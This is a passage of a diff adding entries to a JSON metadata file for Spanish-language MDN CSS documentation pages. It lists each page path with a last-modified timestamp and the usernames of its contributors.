+      "jota1410"
+    ]
+  },
+  "Web/CSS/Preguntas_frecuentes_sobre_CSS": {
+    "modified": "2020-07-16T22:25:44.798Z",
+    "contributors": [
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/CSS/Primeros_pasos": {
+    "modified": "2019-03-24T00:05:34.862Z",
+    "contributors": [
+      "teoli",
+      "deimidis"
+    ]
+  },
+  "Web/CSS/Pseudo-classes": {
+    "modified": "2020-02-22T08:04:35.419Z",
+    "contributors": [
+      "BraisOliveira",
+      "MrEscape54",
+      "MrCoffey",
+      "alkaithil",
+      "viro"
+    ]
+  },
+  "Web/CSS/Pseudoelementos": {
+    "modified": "2019-03-23T23:21:50.048Z",
+    "contributors": [
+      "BubuAnabelas",
+      "VictorAbdon",
+      "teoli",
+      "jota1410"
+    ]
+  },
+  "Web/CSS/Referencia_CSS": {
+    "modified": "2019-03-24T00:14:13.384Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz",
+      "joshitobuba",
+      "mrstork",
+      "prayash",
+      "malayaleecoder",
+      "teoli",
+      "tregagnon",
+      "inma_610",
+      "fscholz",
+      "Nukeador"
+    ]
+  },
+  "Web/CSS/Referencia_CSS/mix-blend-mode": {
+    "modified": "2020-10-15T21:37:53.265Z",
+    "contributors": [
+      "Undigon",
+      "mrstork",
+      "teoli",
+      "Sebastianz",
+      "msanz"
+    ]
+  },
+  "Web/CSS/Selectores_CSS": {
+    "modified": "2019-07-09T01:16:13.123Z",
+    "contributors": [
+      "missmakita",
+      "blanchart",
+      "Benji1337",
+      "metal-gogo",
+      "kikolevante"
+    ]
+  },
+  "Web/CSS/Selectores_CSS/Usando_la_pseudo-clase_:target_en_selectores": {
+    "modified": "2020-07-31T07:57:08.167Z",
+    "contributors": [
+      "blanchart",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Selectores_atributo": {
+    "modified": "2020-10-15T21:26:03.862Z",
+    "contributors": [
+      "blanchart",
+      "MoisesGuevara",
+      "lajaso",
+      "teoli",
+      "jota1410"
+    ]
+  },
+  "Web/CSS/Selectores_hermanos_adyacentes": {
+    "modified": "2019-03-23T22:39:30.908Z",
+    "contributors": [
+      "alkaithil"
+    ]
+  },
+  "Web/CSS/Selectores_hermanos_generales": {
+    "modified": "2019-03-23T22:39:33.429Z",
+    "contributors": [
+      "alkaithil"
+    ]
+  },
+  "Web/CSS/Shorthand_properties": {
+    "modified": "2019-08-11T12:52:52.844Z",
+    "contributors": [
+      "blanchart",
+      "EstebanRK",
+      "IsraelFloresDGA",
+      "huichops"
+    ]
+  },
+  "Web/CSS/Sintaxis_definición_de_valor": {
+    "modified": "2019-03-23T22:38:52.899Z",
+    "contributors": [
+      "apazacoder",
+      "Sebastianz",
+      "Guillaume-Heras",
+      "VictorAbdon"
+    ]
+  },
+  "Web/CSS/Syntax": {
+    "modified": "2020-09-29T20:54:10.526Z",
+    "contributors": [
+      "lucasmmaidana",
+      "joseanpg",
+      "mili01gm",
+      "Derhks"
+    ]
+  },
+  "Web/CSS/Texto_CSS": {
+    "modified": "2019-03-23T22:36:23.444Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/Transiciones_de_CSS": {
+    "modified": "2019-08-01T05:58:17.579Z",
+    "contributors": [
+      "chrisdavidmills",
+      "mrstork",
+      "alberdigital",
+      "teoli",
+      "inma_610",
+      "deimidis"
+    ]
+  },
+  "Web/CSS/Tutorials": {
+    "modified": "2019-03-23T22:52:34.225Z",
+    "contributors": [
+      "mariolugo"
+    ]
+  },
+  "Web/CSS/Type_selectors": {
+    "modified": "2020-10-15T21:52:26.603Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Universal_selectors": {
+    "modified": "2020-10-15T21:52:26.325Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Using_CSS_custom_properties": {
+    "modified": "2020-11-26T20:11:21.130Z",
+    "contributors": [
+      "lupomontero",
+      "betocantu93",
+      "sokaluis",
+      "chrisdavidmills",
+      "BubuAnabelas",
+      "Creasick",
+      "Maseria38",
+      "FlorTello"
+    ]
+  },
+  "Web/CSS/Valor_calculado": {
+    "modified": "2019-03-23T23:53:20.456Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Firewordy",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/Valor_inicial": {
+    "modified": "2019-01-16T15:32:31.295Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/actual_value": {
+    "modified": "2019-03-23T22:16:54.955Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/align-content": {
+    "modified": "2019-06-23T02:54:26.562Z",
+    "contributors": [
+      "d0naldo",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/align-items": {
+    "modified": "2020-08-01T23:15:43.277Z",
+    "contributors": [
+      "LorenzoSandoval",
+      "vanesa",
+      "AlePerez92",
+      "LuisJorgeLozano",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/align-self": {
+    "modified": "2019-03-18T21:17:16.430Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/all": {
+    "modified": "2019-03-18T21:16:29.697Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/angle": {
+    "modified": "2019-03-23T22:28:51.690Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/animation": {
+    "modified": "2019-03-23T23:38:13.777Z",
+    "contributors": [
+      "evaferreira",
+      "teoli",
+      "Luis_Calvo",
+      "jesanchez",
+      "ccarruitero"
+    ]
+  },
+  "Web/CSS/animation-delay": {
+    "modified": "2019-03-23T23:38:13.594Z",
+    "contributors": [
+      "Maletil",
+      "teoli",
+      "Luis_Calvo",
+      "jesanchez",
+      "jsalinas"
+    ]
+  },
+  "Web/CSS/animation-direction": {
+    "modified": "2019-03-23T23:38:14.261Z",
+    "contributors": [
+      "teoli",
+      "Luis_Calvo",
+      "jesanchez",
+      "jsalinas"
+    ]
+  },
+  "Web/CSS/animation-duration": {
+    "modified": "2019-03-23T23:31:43.672Z",
+    "contributors": [
+      "teoli",
+      "Sebastianz",
+      "Luis_Calvo"
+    ]
+  },
+  "Web/CSS/animation-fill-mode": {
+    "modified": "2019-03-23T23:03:51.180Z",
+    "contributors": [
+      "teoli",
+      "Sebastianz",
+      "luigli",
+      "jesusr"
+    ]
+  },
+  "Web/CSS/animation-iteration-count": {
+    "modified": "2019-03-23T22:59:21.919Z",
+    "contributors": [
+      "teoli",
+      "Sebastianz",
+      "maiky"
+    ]
+  },
+  "Web/CSS/animation-name": {
+    "modified": "2019-03-23T22:59:26.717Z",
+    "contributors": [
+      "teoli",
+      "Sebastianz",
+      "maiky"
+    ]
+  },
+  "Web/CSS/animation-play-state": {
+    "modified": "2019-03-23T22:44:18.177Z",
+    "contributors": [
+      "Boton"
+    ]
+  },
+  "Web/CSS/animation-timing-function": {
+    "modified": "2019-03-23T22:44:11.502Z",
+    "contributors": [
+      "ndeniche",
+      "mrstork",
+      "Boton"
+    ]
+  },
+  "Web/CSS/appearance": {
+    "modified": "2019-03-23T22:44:40.090Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "wbamberg",
+      "guerratron"
+    ]
+  },
+  "Web/CSS/attr()": {
+    "modified": "2020-11-04T08:51:33.506Z",
+    "contributors": [
+      "chrisdavidmills",
+      "mrstork",
+      "prayash",
+      "ismachine"
+    ]
+  },
+  "Web/CSS/auto": {
+    "modified": "2019-01-16T15:41:51.944Z",
+    "contributors": [
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/backdrop-filter": {
+    "modified": "2020-10-15T22:05:06.351Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/backface-visibility": {
+    "modified": "2019-03-23T22:18:09.464Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/background": {
+    "modified": "2020-04-23T17:42:59.807Z",
+    "contributors": [
+      "JAMC",
+      "MMariscal",
+      "SphinxKnight",
+      "fscholz",
+      "teoli",
+      "sebasmagri",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/background-attachment": {
+    "modified": "2020-10-06T09:05:59.493Z",
+    "contributors": [
+      "blanchart",
+      "smltalavera95",
+      "SphinxKnight",
+      "fscholz",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/background-blend-mode": {
+    "modified": "2019-03-23T22:59:28.908Z",
+    "contributors": [
+      "ExE-Boss",
+      "israel-munoz",
+      "mrstork",
+      "teoli",
+      "Sebastianz",
+      "maiky"
+    ]
+  },
+  "Web/CSS/background-clip": {
+    "modified": "2019-03-18T20:52:42.788Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes",
+      "Carlos_Gutierrez",
+      "teoli",
+      "Sebastianz",
+      "rurigk"
+    ]
+  },
+  "Web/CSS/background-color": {
+    "modified": "2019-10-10T16:45:24.871Z",
+    "contributors": [
+      "SphinxKnight",
+      "danielfdez",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/background-image": {
+    "modified": "2020-05-06T04:02:29.611Z",
+    "contributors": [
+      "blanchart",
+      "evaferreira",
+      "SphinxKnight",
+      "alexisCan",
+      "andrpueb",
+      "teoli",
+      "Rayber",
+      "Nathymig",
+      "ethertank"
+    ]
+  },
+  "Web/CSS/background-origin": {
+    "modified": "2019-03-24T00:15:00.605Z",
+    "contributors": [
+      "teoli",
+      "Seanwalker"
+    ]
+  },
+  "Web/CSS/background-position": {
+    "modified": "2020-05-06T06:30:15.110Z",
+    "contributors": [
+      "blanchart",
+      "SphinxKnight",
+      "teoli",
+      "FredB",
+      "Nathymig",
+      "ethertank"
+    ]
+  },
+  "Web/CSS/background-position-x": {
+    "modified": "2020-10-15T22:33:04.718Z",
+    "contributors": [
+      "Ismael_Diaz"
+    ]
+  },
+  "Web/CSS/background-repeat": {
+    "modified": "2020-10-15T21:16:00.953Z",
+    "contributors": [
+      "itxuixdev",
+      "SphinxKnight",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/background-size": {
+    "modified": "2019-03-23T23:38:13.094Z",
+    "contributors": [
+      "blanchart",
+      "samuelrb",
+      "Simplexible",
+      "Sebastianz",
+      "Prinz_Rana",
+      "fscholz",
+      "teoli",
+      "chux",
+      "aguztinrs"
+    ]
+  },
+  "Web/CSS/basic-shape": {
+    "modified": "2019-03-23T22:21:44.895Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/blend-mode": {
+    "modified": "2020-12-04T10:45:45.837Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/block-size": {
+    "modified": "2019-03-25T00:21:59.271Z",
+    "contributors": [
+      "teffcode",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border": {
+    "modified": "2020-09-27T22:17:02.248Z",
+    "contributors": [
+      "usuarioMan",
+      "cgosorio",
+      "wbamberg",
+      "SphinxKnight",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-block": {
+    "modified": "2020-10-15T22:16:25.322Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-color": {
+    "modified": "2020-10-15T22:16:29.172Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-end": {
+    "modified": "2019-03-23T00:00:36.213Z",
+    "contributors": [
+      "teffcode",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-block-end-color": {
+    "modified": "2019-03-24T11:12:10.336Z",
+    "contributors": [
+      "teffcode",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-block-end-style": {
+    "modified": "2019-03-23T22:11:28.819Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-block-end-width": {
+    "modified": "2020-10-15T22:16:29.514Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-start": {
+    "modified": "2020-10-15T22:16:31.641Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-start-color": {
+    "modified": "2020-10-15T22:16:30.534Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-start-style": {
+    "modified": "2020-10-15T22:16:32.074Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-start-width": {
+    "modified": "2020-10-15T22:16:36.793Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-style": {
+    "modified": "2020-10-15T22:16:36.371Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-block-width": {
+    "modified": "2020-10-15T22:16:39.535Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-bottom": {
+    "modified": "2019-03-24T00:08:41.510Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-bottom-color": {
+    "modified": "2019-03-24T00:08:33.937Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-bottom-left-radius": {
+    "modified": "2019-03-18T21:16:45.497Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-bottom-right-radius": {
+    "modified": "2019-03-18T21:15:46.042Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-bottom-style": {
+    "modified": "2019-03-24T00:08:38.365Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-bottom-width": {
+    "modified": "2019-03-24T00:12:49.342Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-collapse": {
+    "modified": "2019-03-23T23:52:09.803Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Mgjbot",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-color": {
+    "modified": "2019-03-24T00:08:40.211Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-end-end-radius": {
+    "modified": "2020-10-15T22:16:36.075Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-end-start-radius": {
+    "modified": "2020-10-15T22:16:41.715Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-image": {
+    "modified": "2019-03-23T23:21:15.962Z",
+    "contributors": [
+      "teoli",
+      "Sebastianz",
+      "JuanCastela",
+      "yeyxav"
+    ]
+  },
+  "Web/CSS/border-image-outset": {
+    "modified": "2019-03-23T22:22:10.809Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-image-repeat": {
+    "modified": "2020-10-15T21:51:01.640Z",
+    "contributors": [
+      "SphinxKnight",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-image-slice": {
+    "modified": "2019-03-23T22:22:00.674Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-inline": {
+    "modified": "2020-10-15T22:16:39.413Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-color": {
+    "modified": "2020-10-15T22:16:39.129Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-end": {
+    "modified": "2020-10-15T22:16:35.919Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-end-color": {
+    "modified": "2020-10-15T22:16:44.169Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-end-style": {
+    "modified": "2020-10-15T22:16:36.354Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-end-width": {
+    "modified": "2020-10-15T22:16:36.837Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-start": {
+    "modified": "2020-10-15T22:16:44.782Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-start-color": {
+    "modified": "2020-10-15T22:16:35.643Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-start-style": {
+    "modified": "2020-10-15T22:16:41.098Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-start-width": {
+    "modified": "2020-10-15T22:16:33.765Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-style": {
+    "modified": "2020-10-15T22:16:43.176Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-inline-width": {
+    "modified": "2020-10-15T22:16:39.409Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-left": {
+    "modified": "2019-03-24T00:08:37.376Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "Yuichiro",
+      "Mgjbot",
+      "Wrongloop"
+    ]
+  },
+  "Web/CSS/border-left-color": {
+    "modified": "2019-03-23T23:52:28.495Z",
+    "contributors": [
+      "wbamberg",
+      "d8vjork",
+      "teoli",
+      "Wrongloop"
+    ]
+  },
+  "Web/CSS/border-radius": {
+    "modified": "2019-03-23T23:37:30.234Z",
+    "contributors": [
+      "Barleby",
+      "Simplexible",
+      "Sebastianz",
+      "Prinz_Rana",
+      "teoli",
+      "bytx",
+      "wilo"
+    ]
+  },
+  "Web/CSS/border-right": {
+    "modified": "2020-10-15T22:17:02.534Z",
+    "contributors": [
+      "dlopez525",
+      "osperi"
+    ]
+  },
+  "Web/CSS/border-spacing": {
+    "modified": "2019-03-23T23:52:00.961Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-start-end-radius": {
+    "modified": "2020-10-15T22:16:40.778Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-start-start-radius": {
+    "modified": "2020-10-15T22:16:40.498Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/border-style": {
+    "modified": "2020-10-22T00:09:31.436Z",
+    "contributors": [
+      "YairCaptain",
+      "SphinxKnight",
+      "javierpolit",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/border-top": {
+    "modified": "2019-03-23T22:41:47.976Z",
+    "contributors": [
+      "cgosorio",
+      "mcclone2001"
+    ]
+  },
+  "Web/CSS/border-top-color": {
+    "modified": "2020-10-15T21:59:59.493Z",
+    "contributors": [
+      "jpmontoya182"
+    ]
+  },
+  "Web/CSS/border-top-left-radius": {
+    "modified": "2019-03-23T22:27:25.384Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-top-right-radius": {
+    "modified": "2019-03-23T22:27:24.905Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/border-width": {
+    "modified": "2020-12-03T13:55:01.337Z",
+    "contributors": [
+      "rc925e",
+      "davisorb95",
+      "wbamberg",
+      "SphinxKnight",
+      "Yisus777",
+      "teoli",
+      "Yuichiro",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/bottom": {
+    "modified": "2019-01-16T15:42:01.210Z",
+    "contributors": [
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/box-shadow": {
+    "modified": "2020-10-15T21:19:58.329Z",
+    "contributors": [
+      "davidpala.dev",
+      "IsraelFloresDGA",
+      "Sebastianz",
+      "Prinz_Rana",
+      "teoli",
+      "carloshs92"
+    ]
+  },
+  "Web/CSS/box-sizing": {
+    "modified": "2020-10-15T21:37:29.482Z",
+    "contributors": [
+      "amazing79",
+      "Soyaine",
+      "manuelizo",
+      "IsraelFloresDGA",
+      "GiioBass",
+      "Derhks",
+      "Sebastianz",
+      "juandiegoles"
+    ]
+  },
+  "Web/CSS/calc()": {
+    "modified": "2020-11-04T09:08:00.719Z",
+    "contributors": [
+      "chrisdavidmills",
+      "blanchart",
+      "mrstork",
+      "prayash",
+      "teoli",
+      "MrBlogger"
+    ]
+  },
+  "Web/CSS/caret-color": {
+    "modified": "2019-03-23T22:08:56.287Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/clear": {
+    "modified": "2020-10-30T03:42:19.832Z",
+    "contributors": [
+      "SphinxKnight",
+      "Alxbrz19",
+      "javichito"
+    ]
+  },
+  "Web/CSS/clip": {
+    "modified": "2019-03-23T23:33:36.877Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "nadiafaya"
+    ]
+  },
+  "Web/CSS/clip-path": {
+    "modified": "2020-10-15T21:54:58.750Z",
+    "contributors": [
+      "fscholz",
+      "jorgeherrera9103",
+      "david-velilla",
+      "CarlosLinares"
+    ]
+  },
+  "Web/CSS/color": {
+    "modified": "2020-10-15T21:15:23.982Z",
+    "contributors": [
+      "rhssr",
+      "SphinxKnight",
+      "teoli",
+      "trada",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/color_value": {
+    "modified": "2019-03-23T22:37:22.211Z",
+    "contributors": [
+      "blanchart",
+      "Sebastianz",
+      "Simplexible",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/column-count": {
+    "modified": "2020-10-15T21:40:29.448Z",
+    "contributors": [
+      "AlePerez92",
+      "Anonymous",
+      "Sebastianz",
+      "Davier182"
+    ]
+  },
+  "Web/CSS/column-span": {
+    "modified": "2020-10-15T22:21:55.127Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/CSS/content": {
+    "modified": "2019-03-23T23:51:59.928Z",
+    "contributors": [
+      "teoli",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/cursor": {
+    "modified": "2019-03-23T23:52:22.554Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Wrongloop"
+    ]
+  },
+  "Web/CSS/cursor/Uso_de_URL_como_valor_de_la_propiedad_cursor": {
+    "modified": "2019-03-24T00:04:04.275Z",
+    "contributors": [
+      "teoli",
+      "fscholz",
+      "Mgjbot",
+      "Jorolo"
+    ]
+  },
+  "Web/CSS/direction": {
+    "modified": "2019-01-16T15:40:27.790Z",
+    "contributors": [
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/display": {
+    "modified": "2020-10-21T14:14:21.533Z",
+    "contributors": [
+      "johanfvn",
+      "davidpala.dev",
+      "NeoFl3x",
+      "wbamberg",
+      "evaferreira",
+      "SphinxKnight",
+      "devCaso",
+      "FranciscoCastle"
+    ]
+  },
+  "Web/CSS/env()": {
+    "modified": "2020-11-10T11:09:30.133Z",
+    "contributors": [
+      "chrisdavidmills",
+      "severo"
+    ]
+  },
+  "Web/CSS/filter": {
+    "modified": "2019-03-23T22:59:24.815Z",
+    "contributors": [
+      "israel-munoz",
+      "Sebastianz",
+      "teoli",
+      "maiky"
+    ]
+  },
+  "Web/CSS/filter-function": {
+    "modified": "2019-03-18T21:34:50.284Z",
+    "contributors": [
+      "lajaso",
+      "mfluehr"
+    ]
+  },
+  "Web/CSS/filter-function/blur()": {
+    "modified": "2020-11-05T09:45:32.642Z",
+    "contributors": [
+      "chrisdavidmills",
+      "lajaso"
+    ]
+  },
+  "Web/CSS/filter-function/brightness()": {
+    "modified": "2020-11-05T09:57:09.596Z",
+    "contributors": [
+      "chrisdavidmills",
+      "mjsorribas"
+    ]
+  },
+  "Web/CSS/filter-function/url": {
+    "modified": "2020-01-10T13:46:46.404Z",
+    "contributors": [
+      "roocce"
+    ]
+  },
+  "Web/CSS/fit-content": {
+    "modified": "2020-10-15T22:06:18.387Z",
+    "contributors": [
+      "ocamachor"
+    ]
+  },
+  "Web/CSS/flex": {
+    "modified": "2019-03-23T22:31:42.324Z",
+    "contributors": [
+      "Luis_Calvo",
+      "joshitobuba",
+      "Enfokat"
+    ]
+  },
+  "Web/CSS/flex-basis": {
+    "modified": "2020-08-16T18:24:46.422Z",
+    "contributors": [
+      "metrapach",
+      "joshitobuba",
+      "jandrade"
+    ]
+  },
+  "Web/CSS/flex-direction": {
+    "modified": "2020-10-15T21:29:59.011Z",
+    "contributors": [
+      "Alex_Figueroa",
+      "evaferreira",
+      "Manuel-Kas",
+      "joshitobuba",
+      "fscholz",
+      "Sebastianz",
+      "elkinbernal"
+    ]
+  },
+  "Web/CSS/flex-flow": {
+    "modified": "2019-03-18T21:15:12.282Z",
+    "contributors": [
+      "carlos.millan3",
+      "abaracedo"
+    ]
+  },
+  "Web/CSS/flex-grow": {
+    "modified": "2020-05-06T21:30:31.507Z",
+    "contributors": [
+      "soniarecher",
+      "joshitobuba"
+    ]
+  },
+  "Web/CSS/flex-shrink": {
+    "modified": "2020-10-15T22:00:16.924Z",
+    "contributors": [
+      "deluxury",
+      "Facundo-Corradini"
+    ]
+  },
+  "Web/CSS/flex-wrap": {
+    "modified": "2019-03-23T23:02:38.556Z",
+    "contributors": [
+      "joshitobuba",
+      "fscholz",
+      "Sebastianz",
+      "Rober84"
+    ]
+  },
+  "Web/CSS/float": {
+    "modified": "2020-11-07T16:01:06.351Z",
+    "contributors": [
+      "ppalma1963",
+      "melisb3",
+      "wbamberg",
+      "SphinxKnight",
+      "teoli",
+      "fscholz",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/font": {
+    "modified": "2019-03-23T23:53:27.791Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "Nukeador",
+      "RickieesES",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/font-family": {
+    "modified": "2019-03-23T23:52:00.350Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/font-size": {
+    "modified": "2019-03-23T23:52:02.387Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "teoli",
+      "Nathymig",
+      "RickieesES",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/font-size-adjust": {
+    "modified": "2019-03-23T23:53:20.314Z",
+    "contributors": [
+      "wbamberg",
+      "ivangrimaldo",
+      "fscholz",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/font-style": {
+    "modified": "2019-03-23T23:54:11.290Z",
+    "contributors": [
+      "gustavodibasson",
+      "ivyixbvp",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "RickieesES",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/font-variant": {
+    "modified": "2019-03-23T23:54:15.244Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "RickieesES",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/font-variant-alternates": {
+    "modified": "2019-03-23T22:18:05.471Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/font-weight": {
+    "modified": "2020-10-08T18:46:18.623Z",
+    "contributors": [
+      "jorgetoloza",
+      "EzeRamirez84",
+      "UbaldoRosas",
+      "ivyixbvp",
+      "SphinxKnight",
+      "fscholz",
+      "teoli",
+      "Mgjbot",
+      "ethertank",
+      "Nathymig",
+      "RickieesES",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/frequency": {
+    "modified": "2019-03-23T22:22:14.267Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/grid": {
+    "modified": "2019-03-23T22:08:26.115Z",
+    "contributors": [
+      "macagua",
+      "andresrisso"
+    ]
+  },
+  "Web/CSS/grid-auto-columns": {
+    "modified": "2020-10-15T22:07:00.570Z",
+    "contributors": [
+      "melisb3",
+      "robyirloreto"
+    ]
+  },
+  "Web/CSS/grid-auto-rows": {
+    "modified": "2020-10-15T22:00:41.266Z",
+    "contributors": [
+      "chulesoft",
+      "deimidis2"
+    ]
+  },
+  "Web/CSS/grid-column-gap": {
+    "modified": "2020-10-15T22:01:06.788Z",
+    "contributors": [
+      "agarcilazo",
+      "klaufel"
+    ]
+  },
+  "Web/CSS/grid-gap": {
+    "modified": "2019-03-23T22:13:30.250Z",
+    "contributors": [
+      "ireneml.fr"
+    ]
+  },
+  "Web/CSS/grid-template-areas": {
+    "modified": "2019-03-23T22:11:49.454Z",
+    "contributors": [
+      "diroco"
+    ]
+  },
+  "Web/CSS/grid-template-columns": {
+    "modified": "2020-10-15T21:57:16.414Z",
+    "contributors": [
+      "fscholz",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/grid-template-rows": {
+    "modified": "2020-10-15T21:57:11.635Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/height": {
+    "modified": "2019-03-23T23:54:05.630Z",
+    "contributors": [
+      "israel-munoz",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/hyphens": {
+    "modified": "2020-10-15T22:02:23.515Z",
+    "contributors": [
+      "blanchart",
